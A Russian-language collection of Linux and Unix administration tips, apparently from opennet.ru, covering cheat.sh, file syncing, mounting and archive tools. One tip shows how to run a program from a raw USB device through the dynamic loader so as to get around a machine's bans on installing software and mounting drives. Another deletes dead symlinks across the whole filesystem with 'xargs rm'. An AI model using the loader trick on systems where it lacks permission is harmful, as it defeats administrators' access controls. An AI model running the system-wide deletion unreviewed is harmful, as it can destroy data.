        curl cht.sh/clojure/variadic+function
    
    Демонстрация: https://www.opennet.ru/opennews/pics_base/0_1530858949.gif
    
    
    cht.sh: Клиент для комадной строки
    
    
    Сервис не требует инсталляции никакого дополнительного программного обеспечения
    за исключением curl (или его альтернатив, таких как wget, httpie или fetch),
    однако у него существует одноимённый клиент, cht.sh, который упрощает использование
    сервиса и делает его использование более удобным:
    
        $ cht.sh python append file
    
    Клиент поддерживаем режим оболочки (шелла), в котором можно задавать вопросы напрямую,
    не вводя каждый раз при этом название языка и не вызывая клиент:
    
        $ cht.sh --shell python
        python> append file
        ...
        python> generate random string
        ...
        python> parse json
        ...
    
    В зкспериментальном режиме сервис поддерживает запросы и на других языках кроме английского:
    
        python> дописать файл
        python> скопировать файл
        python> переименовать файл
        python> рекурсивный обход каталога
        python> cd /lua
        lua> использовать внешнюю функцию
        lua> отсортировать таблицу
        js> cd /js
        js> асинхронное чтение файла
    
    Все запросы, приведённые выше, произвольны (и все возвращают корректные ответы).
    
    Сервис работает следующим образом: после получения запроса он пытается обработать его пользуясь
    данными из доступных репозиториев шпаргалок, таких как tldr, cheat, learnxiny и
    так далее (а точнее,
    их локальных копий, проиндексированных и находящихся в памяти, благодаря чему, в том числе,
    достигается такая высокая скорость реакции). В простейших случаях, когда запросы односложны,
    и являются, например, названием команд UNIX/Linux, этого оказывается достаточно.
    
    Если же запрос обработать таким образом не удаётся, осуществляется поиск на внешних ресурсах
    (в первую очередь stackoverflow.com и других сайтах stackexchange), и если подходящий ответ
    найти удалось, он обрабатывается и возвращается пользователю. Код ответа форматируется,
    как уже было сказано выше, таким образом, что текст в нём оформляется как комментарии,
    код остаётся кодом, а внизу добавляется источник ответа, имя его автора и лицензия, по которой
    он распространяется.
    
    Если найденный для ответа вопрос не подходит, следующий можно посмотреть,
    добавив /номер после него:
    
        python> generate random string
        python> generate random string /1
        python> generate random string /2
    
    
    Клиент cht.sh имеет предоставляет ряд других приятных возможностей, таких как:
    
    * автопродолжение;
    * история поиска;
    * копирование в буфер обмена (C);
    
    и ряда других (для просмотра нужно вызвать help в cht.sh).
    
    Кроме этого к cheat.sh можно обращаться напрямую из текстового редактора.
    
    Демонстрация: https://www.opennet.ru/opennews/pics_base/0_1530859122.gif
    
    
    Доступ из редактора
    
    Запросы к cheat.sh, а значит к StackOverflow и к прочим источникам информации,
    использующимся в cheat.sh,
    можно отправлять напрямую из текстового редактора Vim или Emacs.
    
    Для этого нужно установить дополнительные плагины (подробнее в cht.sh/:vim и в cht.sh/:emacs).
    
    После этого запросы можно писать напрямую в коде программы
    и получать ответы на них в самом редакторе (в текущем или в отдельном буфере)
    или в пейджере.
    
    Предположим, что вы пишете программу на python и вы забыли, как лучше всего можно сгенерировать
    случайную строку в нём.
    
    Традиционным решением было бы:
    
    * открыть браузер,
    * в нём - google,
    * ввести "generate random string",
    * получить ссылку на stackoverflow,
    * перейти по ней,
    * скопировать найденный ответ в буфер обмена,
    * вставить его в редактор,
    * подправить его под конкретную программу.
    
    Вместо этого, используя плагин cheat.sh-vim:
    
    * ввести запрос прямо в буфере редактора;
    * нажать <leader>KP (или <leader>KB, или <leader>KK).
    
    Ответ будет вставлен в код, показан в отдельном буфере редактора (<leader>KB)
    или во внешнем пейджере (<leader>KK).
    
    Демонстрация возможностей плагина: https://www.opennet.ru/opennews/pics_base/0_1530859160.gif
    
    Альтернативные решения
    
    Существуют альтернативные решения, которые позволяют достичь похожих результатов:
    
    * tldr  - подсказки по командам UNIX/Linux;
    * cheat - подсказкт по командам UNIX/Linux;
    * how2  - поиск ответов на stackoverflow из командной строки;
    * howdoi - поиск ответов на stackexchange из командной строки.
    
    Все вышеназванные утилиты хорошо справляются с названными задачами.
    При этом cheat.sh обладает рядом преимуществом в сравнении с каждой из них:
    
    * Не требует инсталляции, может использоваться везде, где есть curl/wget/httpie
    или любой HTTP-клиент;
    * Предоставляет доступ как к шпаргалкам, так и к ответам на вопросы;
    * Намного быстрее чем how2 и howdoi;
    * Комментирует пояснительный текст в ответах;
    * Может использоваться для автоматических запросов;
    * Не требует актуализации репозиториев шпаргалок (как в случае с tldr и cheat);
    * Поддерживает запросы на разных языках, в том числе на русском;
    * Интеграция с текстовыми редакторами Vim и Emacs;
    * Поддерживает Tab-completion (для bash, zsh и fish).
    
    Недостатки (на данный момент):
    
    * Не может работать в оффлайн-режиме (tldr и cheat могут; howdoi и how2 тоже нет).
    
    
    
    
    Ссылки
    
    * https://github.com/chubin/cheat.sh            - главный репозиторий проекта
    * https://github.com/dbeniamine/cheat.sh-vim    - плагин для Vim
    * https://github.com/davep/cheat-sh.el          - плагин для Emacs
    
    * https://twitter.com/igor_chubin               - твиттер главного
    разработчика проекта (используется для анонса существенных обновлений проектов
    и новых проектов)
    
    Другие подобные проекты (подмножество функций cheat.sh):
    
    * https://github.com/tldr-pages/tldr            - подсказки для командной строки
    * https://github.com/chrisallenlane/cheat       - подсказки для командной строки
    * https://github.com/adambard/learnxinyminutes-docs - краткие учебники по
    языкам программирования
    * https://github.com/gleitz/howdoi              - поиск ответов на
    вопросы по языкам программирования из командной строки
    * https://github.com/santinic/how2              - поиск ответов на
    вопросы по языкам программирования из командной строки
    
    Сервисы для терминала:
    
    * curl wttr.in  - погода из терминала
    * curl rate.sx ; curl rate.sx/btc - курс валют и криптовалют из терминала
    * curl qrenco.de - сервис для генерация QR-кода в терминале
    * ix.io, sprunge.us, ptpb.pw, 0x0.st, clbin.com - Pastebin для терминала
    * curl ifcfg.me, curl ip-addr.es и множество других - определение
    внешнего IP-адреса в терминале
    * https://github.com/chubin/awesome-console-services/ - полный список сервисов для терминала
    
     
    ----* Обходной способ запуска программ, скрытых в блочном устройстве   Автор: 赤熊  [комментарии]
     
    Предположим у нас нет программы super_mega_ls, а на компьютере нет доступа на
    установку ПО и запись файлов, но программой воспользоваться нужно. Wget не
    работает, curl огорожен, Flash-накопители монтировать прав нет.
    
    Допустим, у нас есть неформатированная флешка. На своём компьютере запишем
    нужную программу в "raw-режиме", не создавая файловую систему и разделы:
    
       dd if=/bin/ls of=/dev/sdb
    
    Приходим на целевую машину, на которой нужно запустить программу. Помним про
    версию ведра/ядра/libc/статическую сборку.
    Вставляем флешку. И далее в зависимости от версии системы творим зло. В Debian
    Jessie это будет выглядеть так:
    
       /lib64/ld-2.13.so /dev/sdb
    
    Далее происходит магия (см. исходники exec). Много думаем...
    
     
    ----* Использование zsync для минимизации трафика при синхронизации больших файлов, например, ежедневных сборок Ubuntu (доп. ссылка 1)   [комментарии]
     
    Для пользователей, желающих минимизировать сетевой трафик и ускорить загрузку
    ежедневных тестовых снапшотов Ubuntu, предоставлена возможность загрузки только
    изменившихся с момента прошлой загрузки частей iso-образа. Для загрузки только
    изменений вместо полной копии следует использовать утилиту zsync.
    
    По сути zsync является вариантом rsync, нацеленным на эффективную синхронизацию
    единичных больших файлов и реализующим логику синхронизации на стороне клиента.
    Для работы zsync не требуется установка особого сервернего ПО, достаточно
    создать небольшой индексный файл в котором будут сохранены контрольные суммы
    блоков данных и использовать обычный http-сервер, допускающий загрузку
    отдельных частей файла.
    
    Устанавливаем zsync:
    
       sudo apt-get -y install zsync
    
    Загружаем iso-образ:
    
       zsync http://cdimage.ubuntu.com/daily-live/current/raring-desktop-amd64.iso.zsync
    
    Если загрузка осуществляется первый раз, то zsync автоматически загрузит весь
    файл. Если файл загружается повторно, zsync загрузит индекс (для iso-образа
    ubuntu примерно полтора мегабайта), оценит изменений между локальным и
    удалённым файлом и загрузит только изменившиеся блоки данных.
    
    Для создания zsync-индекса, при желании организовать распространение своих
    файлов через zsync, следует использовать утилиту zsyncmake:
    
       zsyncmake file.iso
    
    после чего будет создан файл file.iso.zsync.
    
    Для корректной отдачи .zsync-индексов в конфигурацию Apache в файл mime.types следует добавить:
    
       application/x-zsync             zsync
    
     
    ----* Монтирование устройств Android 4 в Ubuntu Linux при помощи go-mtpfs (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Начиная с третьей ветки в платформе Android изменился метод организации
    внешнего доступа к накопителю мобильного устройства. Если раньше устройство
    маскировалось под USB-накопитель, который воспринимался внешними системами как
    обычный USB Flash, то начиная с выпуска Android 3 для доступа к данным
    предлагается использовать разработанный компанией Microsoft протокол MTP
    (Media Transfer Protocol), поддержка которого в большинстве Linux-дистрибутивов
    недоступна из коробки. Причиной перехода на MTP является желание избавиться от
    основного недостатка старой реализации - необходимости размонтирования раздела
    перед его экспортом, из-за чего во время подключения раздела к ПК он становился
    недоступным для мобильного устройства.
    
    Наиболее простым способом обеспечения работы с Android 4 в Linux является
    установка из репозиториев или сборка из исходных текстов GTK-приложения gMTP
    (http://gmtp.sourceforge.net/), которое предоставляет графический интерфейс для
    работы с файлами на устройстве, в том числе даёт возможность перемещать файлы
    между gMTP и файловым менеджером в режиме Drag and Drop. При сборке
    рекомендуется использовать самую свежую версию библиотеки  libmtp
    (http://libmtp.sourceforge.net/), иначе в процессе работы время от времени
    приходится сталкиваться с проблемами. Готовые свежие сборки gMTP для Ubuntu
    можно загрузить из специального PPA-репозитория, а libmtp - здесь.
    
    
    Другим способом является монтирование MTP-устройств в виде дисковых разделов
    при помощи FUSE-модулей mtpfs или mtp-fuse. Следует отметить, что
    работают данные модули с некоторыми устройствами весьма нестабильно и оставляют
    желать лучшего в плане скорости копирования данных. Относительно недавно для
    решения проблем с ранее доступными FUSE-реализациями был создан FUSE-модуль [[https://github.com/hanwen/go-mtpfs
    Go-mtpfs]], из особенностей которого можно отметить необходимость установки для
    сборки компилятора языка программирования Go.
    
    
    Готовые сборки Go-mtpfs отныне доступны через PPA для Ubuntu 13.04, 12.10 и
    12.04. Unstable PPA используется для задействования самой свежей версии
    libmtp. Кроме того, подготовлен специальный апплет для оболочки Unity,
    позволяющий быстро монтировать и отмонтировать MTP-разделы.
    
    Установим Go-mtpfs из PPA:
    
       sudo add-apt-repository ppa:webupd8team/unstable
       sudo apt-get update
       sudo apt-get install go-mtpfs
    
    Установим дополнение для Unity:
    
       sudo apt-get install go-mtpfs-unity
    
    Для монитрования раздела вручную следует использовать команду:
    
       go-mtpfs /media/MyAndroid
    
    Для отмонтирования:
    
       fusermount -u /media/MyAndroid
    
    
    Для самостоятельной сборки go-mtpfs из Git-репозитория можно использовать
    следующую инструкцию, в результате которой будет подготовлен исполняемый файл /tmp/go/bin/go-mtpfs:
    
       sudo apt-get install golang fuse git-core libmtp-dev libfuse-dev
       sudo adduser $USER fuse
       mkdir /tmp/go 
       GOPATH=/tmp/go go get github.com/hanwen/go-mtpfs
      
    
    Кроме того, в состав libmtp входит несколько полезных утилит:
    
    Определение устройства:
    
       mtp-detect
    
    Подсоединение к устройству:
    
       mtp-connect
    
    Манипуляции с контентом на устройстве:
    
       mtp-albumart 
       mtp-getplaylist
       mtp-albums
       mtp-files
       mtp-sendfile
       mtp-folders  
       mtp-newfolder
       mtp-delfile
       mtp-newplaylist
       mtp-getfile
       mtp-playlists    
       mtp-tracks
    
    
       
    
     
    ----* Организация файлового хранилища на базе Git-репозитория при помощи Sparkleshare (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Sparkleshare развивается свободный движок для организации
    похожих на Dropbox online-хранилищ, непосредственное хранение данных в которых
    осуществляется в любом Git-репозитории. Использование Git позволяет
    задействовать элементы версионного контроля для отслеживания изменений в
    файлах, давая возможность отследить все изменения и при необходимости вернуться
    к состоянию определенного файла в прошлом.
    
    С технической стороны SparkleShare является Git-клиентом, оптимизированным для
    хранения и обмена файлами. Программа может использоваться не только для
    хранения своих файлов, но и для организации обмена файлами с другими людьми или
    для обеспечения синхронизации данных между домашним и рабочим ПК. SparkleShare
    поддерживает шифрование хранимых данных, что позволяет использовать публичные
    Git-репозитории не опасаясь возможной утечки информации. Например, можно
    использовать Git-репозитории в публичных сервисах Gitorious и GitHub.
    
    Рассмотрим процесс развертывания Sparkleshare-хранилища под управлением Fedora
    Linux с целью организации доступного дома и на работе хранилища. Для
    организации рабочего процесса создадим в домашней директории каталог
    Sparkleshare, в котором будем создавать подкаталоги, соответствующие текущим
    проектам. В качестве первичного хранилища будет использовать Git-репозиторий на
    собственном сервере, доступ к которому организован через SSH. Одновременно
    настроим на сервере доступность сохраняемых файлов через web, разместив клон
    репозитория в директории ~/public_html.
    
    
    Установка Sparkleshare на локальной клиентской машине.
    
    Добавляем соответствующий YUM-репозиторий, в котором содержатся готовые пакеты с Sparkleshare:
    
        cd /etc/yum.repos.d
        sudo curl -O http://repos.fedorapeople.org/repos/alexh/sparkleshare/fedora-sparkleshare.repo
    
    Устанавливаем Sparkleshare 
    
        sudo yum install -y sparkleshare ssh-askpass
    
    Удаляем пакет nautilus-python, так как иначе при работе Sparkleshare наблюдается крах Nautilus.
    
        sudo yum remove -y nautilus-python
    
    PS. Пользователи Ubuntu могут загрузить  Sparkleshare из PPA-репозитория:
    
       sudo add-apt-repository ppa:pdffs/sparkleshare
       sudo apt-get update
       sudp apt-get install sparkleshare
    
    Настройка Git-репозитория
    
    Создаем Git-репозиторий на внешнем сервере, который будет использован в
    качестве первичного хранилища:
    
       git init --bare repo.git
    
    Для работы на сервере должны быть установлены пакеты с git и openssh-server.
    
    Проводим первичное клонирование репозитория в директорию ~/public_html, чтобы
    файлы были доступны через web:
    
       cd ~/public_html
       git clone repo.git
       cd repo
    
    Создаем тестовый файл:
    
       echo 'Fedora 15 rocks!' >> test.txt
    
    Добавляем файл в Git и принимаем изменения.
    
       git add test.txt
       git commit test.txt -m 'initial commit2'
    
    Создаем начальную ветку:
     
       git push origin master
    
    
    
    Подключаем свои локальные машины к репозиторию
    
    На локальной рабочей машине останавливаем рабочий процесс Sparkleshare и
    клонируем созданный на прошлом шаге репозиторий
    
       sparkleshare stop
    
       cd ~/SparkleShare
       git clone логин@хост:/home/логин/repo.git
    
    Проверяем содержимое:
    
       cd ~/SparkleShare/repo
       ls
    
    Меняем содержимое тестового файла
    
       echo 'Pandas rule.' >> test.txt; 
    
    Применяем изменения:
    
       git commit -a -m 'panda PSA'
       git push
    
    
    На удаленном сервере, где создан базовый Git-репозиторий принимаем изменения:
    
       cd ~/public_html/repo
       git pull
    
    Проверяем, изменилось ли содержимое test.txt:
    
       cat test.txt
    
    Если все работает нормально, то запускаем на локальной машине Sparkleshare
    которые возьмет в свои руки выполнение рутинных операций по отслеживанию
    изменений и синхронизации данных на внешний сервер.
    
       sparkleshare start
    
    Настраиваем автозапуск Sparkleshare в GNOME:
    
       cp /usr/share/applications/sparkleshare.desktop ~/.config/autostart
    
    Заходим в директорию с репозиторием SparkleShare
    
       cd ~/SparkleShare/repo
    
    и создаем там новый тестовый файл:
    
       echo '42' >> theanswer.txt
    
    На удаленном сервере клонируем репозиторий и убеждаемся, что новый файл
    автоматически был помещен в Git:
    
        cd ~/public_html/repo
        git pull
        ls
    
    Все работает.
    
    
    Создаем автоматически обновляемое зеркало для просмотра репозитория из web.
    
    Настроим автоматическое клонирование репозитория удаленном сервере, с которого
    будет осуществлена раздача файлов через Web. Для работы нам понадобиться
    настроить удаленный вход со второй машины на первую по SSH по ключам, без ввода
    пароля. Инструкцию по настройке можно найти здесь.
    
    На удаленном сервере переходим в базовую директорию с Git-репозиторием (не клоном)
    
        cd ~/git.repo/hooks
    
    Добавляем скрипт, который будет срабатывать при добавлении файлов в
    репозиторий. В этом скрипте автоматически будет выполнять локальное
    клонирование репозитория для его видимости в web.
    
    Создадим скрипт post-receive в директории ~/git.repo/hooks (не забудьте
    подставить реальное значение вместо "логин"):
    
       #!/bin/sh
    
       while read oldrev newrev refname
       do
          true
       done
       cd /home/user/public_html/repo
       GIT_DIR=/home/логин/public_html/repo/.git git pull
    
    Проверим, создав на локальной системе третий тестовый файл:
    
       cd ~/SparkleShare/repo
       echo 'Fedora 15' >> latestfedora.txt
    
    
    Переходим на удаленном сервере в директорию с клоном репозитория для web и
    проверяем появился ли новый файл:
    
       cd ~/public_html/repo
       ls
    
    Подсказки по настройке работы Sparkleshare c Github и Gitorious можно найти на
    странице http://sparkleshare.org/help/
    
     
    ----* Преобразование CHM в PDF (доп. ссылка 1)   Автор: pavlinux  [комментарии]
     
    Для преобразования формата CHM в PDF существует утилита chm2pdf, написанная на языке Python.
    Если Python нет, можно пойти в обход:
    
    1. Нам нужна библиотека chmlib, в популярных дистрибутивах она есть.
    
    2. Так же, нужна утилита extract_chmLib, находиться в пакете, где-то в
    chmlib-examples, где-то в chmlib-bin.
    
    3. Утилита htmldoc,так же везде есть.
    
    4. И объект испытаний, например RHCE.chm
    
    Кстати, для chm2pdf так же нужна chmlib, Python и дополнительная библиотека на питоне.
    
    И так, делаем два каталога:
    
       mkdir /tmp/CHM/PDF /tmp/CHM/HTML;
    
    и переходим в первый
    
       сd /tmp/CHM
    
    Извлекаем html страницы в каталог HTML
    
       extract_chmLib RHCE.chm ./HTML
    
    В каталоге HTML обнаруживаем следующие файлы:
    
       18196.hhc
       $FIftiMain
       final
       #IDXHDR
       #ITBITS
       $OBJINST
       #STRINGS
       #SYSTEM
       #TOPICS
       #URLSTR
       #URLTBL
       #WINDOWS
       $WWAssociativeLinks
       $WWKeywordLinks
    
    Кто что значит, рассказывать не буду, смотрите Википедию и MSDN.
    Нас интересует каталог ./final/, именно в нем находятся все страницы с текстом
    и картинки, если они были в книге.
    
    Этот каталог и станет исходным для формирования PDF, который мы передадим в
    качестве параметра в утилиту htmldoc.
    Авторы рекомендуют делать два прохода при конвертации.
    
    Первый - индексация, сортировка, удаление лишних элементов и объединение в один каталог.
    
       htmldoc -d PDF/ HTML/final/*.html
    
    И второй - сама конвертация, но уже из каталога PDF:
    
       htmldoc --compression=9 --book --size a4 --jpeg=100 -t pdf14 -f RHCE.pdf PDF/*.html
    
    html --help для краткой справки
    man htmldoc - для более подробного описания параметров.
    
    В итоге получился правильный формат книги и на 2 мегабайта меньше размер.
    
     
    ----* Использование unison для двусторонней синхронизации файлов   [комментарии]
     
    Для решения задачи по синхронизации данных между двумя машинами, в ситуации
    когда изменения могут появиться на каждом из компьютеров, прекрасно подходит
    утилита unison (http://www.cis.upenn.edu/~bcpierce/unison/). При синхронизации
    между удаленными машинами в качестве транспорта может использоваться ssh. При
    обнаружении конфликтов, например, когда на обоих машинах отредактирован один и
    тот же файл, unison пытается разрешить конфликт автоматически, а если это не
    удается предоставляет пользователю интерфейс для принятия решения.
    
    Устанавливаем unison.
    
    Fedora/RHEL/CentOS:
    
       sudo yum install unison
    
    Debian/Ubuntu:
       sudo apt-get install unison
    
    FreeBSD:
       # cd /usr/ports/net/unison/ && make install
    
    Синхронизируем две локальные директории:
    
       unison /test1 /test2
    
    В процессе будет выводиться статистика и задаваться вопросы, касающаяся
    синхронизации и разрешения конфликтов, направление копирования будет указано стрелкой.
    
    Для синхронизации с удаленной директорией необходимо указать:
    
       unison /test1 ssh://testserver.test.ru//test1
    
    Чтобы выполнить синхронизацию автоматически, без интерактивного взаимодействия
    с пользователем необходимо использовать опцию "-batch". В случае конфликта,
    выполнение будет прервано с выводом соответствующего уведомления.
    
    Для определения сложной политики синхронизации можно создать файл конфигурации
    с определением параметров.
    
    Например, создаем файл ~/.unison/test.prf:
    
       # Определяем список директорий, которые будут синхронизированы
       root = /home/project
       root = /mnt/NFS/home/project
    
       # Указываем сохранять права доступа и владельца
       owner = true
       times = true
    
       # Определяем список поддиректорий, которые нужно синхронизировать, остальное игнорируем:
       path = cgi-bin
       path = htdocs
       path = conf
    
       # Определяем маски для файлов, которые не нужно синхронизировать
       ignore = Name .htaccess
       ignore = Name *~
       ignore = Name .*~
       ignore = Path conf/project.conf
       ignore = Path htdocs/rrd
       ignore = Path htdocs/mon
       ignore = Name *.o
       ignore = Name *.tmp
       ignore = Name *.log
       ignore = Name *.gz
       ignore = Name *.iso
       ignore = Name {,.}*{.old}
    
       # Копируем в резервные копии изменяемых файлов в отдельную  директорию
       backup = Name *
       backups = true
       backupdir = /home/project/backup
    
       # Определяем свою команду для отображения отличий между копиями файлов при конфликте
       #diff = diff -y -W 79 --suppress-common-lines
    
       # Сохраняем лог с результатами работы в отдельном файле
       log = true
       logfile = ./sync.log
    
    
    При необходимости синхронизировать описанные в файле конфигурации директории, выполняем:
    
       unison test
    
     
    ----* Монтирование Flash-накопителей с FAT в XFCE, работающем во FreeBSD (доп. ссылка 1)   Автор: bu7cher  [комментарии]
     
    Инструкция для тех, кому лень набирать "sudo mount_msdosfs /dev/da0s1 ..." и
    хочется, чтобы при подключении USB Flash на рабочем столе XFCE для монтирования
    автоматически появлялась иконка, корректно работающая с русскими именами файлов
    и не требующая для своей работы повышенных прав доступа.
    
    1. Через PolicyKit настраиваем разрешение на монтирование для пользователя
    homeuser, под котором будет осуществлен вход в систему. В
    /usr/local/etc/PolicyKit/PolicyKit.conf добавляем новую секцию:
    
       <match user="homeuser">
           <match action="org.freedesktop.hal.storage.mount-removable">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.mount-fixed">
               <return result="yes"/>
           </match>
           <match action="org.freedesktop.hal.storage.eject">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.unmount-others">
               <return result="yes"/>
           </match>
       </match>
    
    2. Настраиваем опции монтирования по-умолчанию в файле /usr/local/etc/xdg/xfce4/mount.rc:
    
       [vfat]
       # FreeBSD specific option
       longnames=true
       -L=ru_RU.UTF-8
       -D=CP866
       -m=0664
       -M=0775
       -u=homeuser
    
    Список возможных опций можно посмотреть в выводе lshal после подключения
    флэшки. Искать нужно строку volume.mount.valid_options. В ней содержатся
    разрешённые HAL'ом опции, которые можно передать ему для монтирования. Их же
    можно найти в файле
    /usr/local/share/hal/fdi/policy/10osvendor/20-storage-methods.fdi. По-умолчанию
    для FreeBSD эти опции разрешены и соответствуют перечисленным в мануале mount_msdosfs(8).
    
    В результате при подключении флэшки на рабочем столе появляется иконка диска,
    на которой можно  вызвать команду "Подключить том", либо просто два раза
    кликнуть,  чтобы открыть  Thunar с уже смонтированным носителем. Причём файлы с
    кириллицей в именах будут корректно отображаться,  и пользователь сможет
    записывать и удалять их.
    
     
    ----* Перемещение всех пользовательских файлов конфигурации в отдельную директорию (доп. ссылка 1) (доп. ссылка 2)   Автор: Мищенков Михаил  [комментарии]
     
    Чтобы принудительно переместить все пользовательские файлы конфигурации из
    корня домашней директории в отдельный каталог (допустим ~/.config) можно
    воспользоваться библиотекой libetc (http://ordiluc.net/fs/libetc/). libetc
    подгружается к приложениям через механизм LD_PRELOAD, подменяя собой некоторые
    библиотечные вызовы и самостоятельно обрабатывая ситуацию открытия файлов и
    директорий, начинающихся с точки. Базовый путь берется из переменной окружения
    $XDG_CONFIG_HOME, определенной для этих целей в стандарте http://standards.freedesktop.org/basedir-spec/
    
    Пример использования, в ~/.bashrc, ~/.zshrc или ~/.xsession добавляем:
    
       # загружаем библиотеку
       export LD_PRELOAD=libetc.so.0 
       # список игнорирования
       export LIBETC_BLACKLIST=/bin/ls:/bin/mv:/bin/cp:/bin/ln:/usr/bin/find:/bin/rm 
       # Перемещаем файлы конфигурации в директорию /home/luc/config
       export XDG_CONFIG_HOME=/home/luc/config
    
    Если явно не определена переменная окружения XDG_CONFIG_HOME, в качестве
    базового пути будет использована директория ~/.config/
    
    Работа libetc проверена в таких программах, как OpenOffice.org, KDE, Gnome,
    Firefox, Mutt, vim, Thunderbird, Sylpheed, Gimp.
    
     
    ----* Монтирование ftp и ssh в локальную директорию   [комментарии]
     
    Дл монтирования будем использовать FUSE модули curlftpfs (http://curlftpfs.sourceforge.net/) 
    и sshfs (http://fuse.sourceforge.net/sshfs.html).
    curlftpfs хорош тем, что поддерживает шифрование (SSLv3/TLSv1), может работать поверх HTTP-прокси 
    и автоматически обрабатывает ситуации разрыва соединения. Sshfs интересен
    возможностью кэширования содержимого директорий.
    
    Для работы с FUSE от имени локального пользователя нужно добавить его в группу fuse:
    
       sudo addgroup логин fuse
    
    Настраиваем права доступа к директории в которую будем производить монтирование:
    
       chgrp fuse /home/user/mnt
       chmod g+w /home/user/mnt
    
    Ставим curlftpfs и sshfs:
    
       aptitude install fuse-utils curlftpfs sshfs
    или для RedHat подобных дистрибутивов:
       yum install fuse-utils curlftpfs sshfs
    
    монтирование FTP директории производится командой:
    
       curlftpfs ftp://ftp.test.ru /home/user/mnt
    или если используется пароль:
       curlftpfs ftp://логин:пароль@ftp.test.ru /home/user/mnt
    
    Кодировку можно задать через 
    
       curlftpfs -o codepage=koi8-r,iocharset=utf8 ftp://ftp.test.ru /home/user/mnt
    
    где koi8-r кодировка на ftp-сервере, utf8 - кодировка локальной системы.
    Выход через http-прокси можно организовать через опцию "-o proxy=host:port"
    
    Автоматизировать ввод пароля можно через стандартный ~/.netrc файл (man netrc):
    
        machine ftp.test.ru
        login логин  
        password пароль
    
    
    Для монтирования SSH 
    
       sshfs test@test.ru:/home/test /home/user/mnt
    
    Отмонтирование:
    
       fusermount -u /home/user/mnt
    
     
    ----* Выборка и копирование файлов по дате в Linux   Автор: Sclif13  [комментарии]
     
    Столкнулся с такой задачей: из каталога необходимо выбрать и скопировать кучу
    файлов за один месяц.
    Вооружившись командами cp, ls  и awk я приступил и вот что получилось:
    
       cp $(ls -l | grep 2009-01 | awk '{print $8}') /home/temp/
    
    ls -l выводит содержимое каталога с датой
    grep соответственно выбирает файлы за месяц
    awk '{print $8}' выводит имя файла для команды cp
    
    Дальше больше ...
    Есть каталог в котором куча подкаталогов и в которых соответственно файлы,
    которые надо скопировать.
    Тут на помощь приходит утилита du:
    
       cp $(du -a --time | grep 2009-01 | awk '{print $4}') /home/temp/
    
     
    ----* Быстрый обмен файлами в Linux без задействования Samba, ftp и т.п. (доп. ссылка 1) (доп. ссылка 2)   Автор: airat  [комментарии]
     
    Для быстрого обмена файлами между рабочими станциями под Linux удобно использовать десктоп 
    приложение Giver (http://code.google.com/p/giver/), которое не требует каких-либо настроек и 
    автоматически определяет запустившие Giver машины в локальной сети.
    Достаточно выбрать файл/директорию и машину пользователя в списке.
    
    В Ubuntu 8.10 программа присутствует в стандартном репозитории пакетов:
    
       sudo apt-get install giver
    
    Другой вариант настройки быстрой передачи файлов - привязка дополнительных скриптов к Nautilus.
    Например скрипт nautilus-share (http://gentoo.ovibes.net/nautilus-share/) позволяет 
    динамически открывать доступ к определенным каталогам через samba.
    В Ubuntu устанавливается через 
    
       sudo apt-get install nautilus-share
    
     
    ----* Составление списка мертвых символических ссылок (доп. ссылка 1)   Автор: pavlinux  [комментарии]
     
    Находим файлы символических ссылок, которые никуда не указывают.
    
       find / -noleaf -type l -print | perl -nle '-e || print'
    
    Эта команда выведет все мертвые ссылки на стандартные вывод.
    Можно перевести вывод в файл, для изучения и исправления. 
    Или просто удалить, добавив конвейер: "| xargs rm", то есть так:
    
       find / -noleaf -type l -print |perl -nle '-e || print' | xargs rm
    
    PS. В BSD системах нужно отбросить опцию -noleaf, которая реализована только в GNU find.
    
     
    ----* Добавление информации для восстановления к архивам.   Автор: mahoro  [комментарии]
     
    Утилита par2 позволяет добавлять к файлам информацию для восстановления по
    алгоритму Рида-Соломона.
    Это позволяет восстанавливать исходный файл в случае небольших (или даже серьезных) повреждений. 
    Делается это следующим образом:
    
       $ sudo aptitude install par2 #(cd /usr/ports/archivers/parchive; make instal)
       $ ls
         dump.sql.gz
       $ par2 create -v -r10 -n1 -m500 dump.sql.gz
       $ ls
         dump.sql.gz dump.sql.gz.par2 dump.sql.gz.vol000+100.par2
    
    Эта команда добавит 10% (-r10) избыточной информации к данным, запишет все это в один файл (-n1), 
    при этом программе par2 разрешено использовать 500 мегабайт оперативной памяти (-m500). 
    Файлы *.par2 следует записать на диск вместе с дампом.
    
    Восстановить поврежденный файл можно командой
    
       $ par2 repair dump.sql.gz.par2
    
    Подробнее о par2 и чтении данных с битых CD: 
       http://alexey.sveshnikov.ru/blog/2008/04/10/broken-cd-parchive/
    
    Подробнее про о коде Рида-Соломона:
       http://www.insidepro.com/kk/027/027r.shtml
    
     
    ----* Переименований группы файлов с перекодированием имени   [обсудить]
     
    Для переименования группы директорий первого уровня вложенности с
    перекодированием из cp1251 в koi8-r:
    
    find . -type d -maxdepth 1 -exec sh -c 'np=`echo {}|iconv -t koi8-r -f cp1251`; mv "{}" "$np"' \;
    
    Для переименования иерархии файлов:
    
    find . -type f -exec sh -c 'dn=`dirname "{}"`;bn=`basename "{}"`; np=`echo
    $bn|iconv -t koi8-r -f cp1251`; mv "{}" "$dn/$np"' \;
    
     
    ----* Быстрая передача файла через псевдо-HTTP   Автор: mahoro  [комментарии]
     
    Когда есть необходимость передать файл с одной машины на другую, 
    а под рукой нет общедоступных ресурсов, можно сделать так:
    
        nc -l -p 8080 < file
    или
        netcat -l 8080 < file
    
    на клиенте достаточно в браузере набрать http://192.168.0.123:8080
    
    Собственно, все. Впрочем, если получатель - блондинка, которая не знает команды
    File-Save, можно написать так:
    
       (echo -e "HTTP/1.1 200\nContent-Disposition: attachment; 
       filename=gena_na.png\nContent-Type: application/octet-
       stream\nConnection: close\n"; cat vim_mrxvt.png ) | nc -vv -l -p 8080
    
    Но это еще не все. Можно дать доступ к целой директории, написав простой HTTP сервер в одной строке:
    
       while true; do nc -vv -l -p 8080 -c '( read a b c; file=`echo $b | sed 's/[^a-z0-9.]//g'`; 
       if [ a$file = "a" ]; then ( ls | (while read f; do echo "<a href=$f>$f</a><br>"; done) ); 
       else cat $PWD/$file; fi )'; sleep 1; done
    
    Этот скрипт отдает все файлы, которые есть в текущем каталоге и не позволяет его сменить. 
    В случае, если запрашивается корневая директория, то управление передается 
    своеобразному mod_index - т.е. выводится список файлов-ссылок. В конце добавлена задержка в 1 сек 
    для того, чтобы была возможность убить его нажатием Ctrl-C.
    
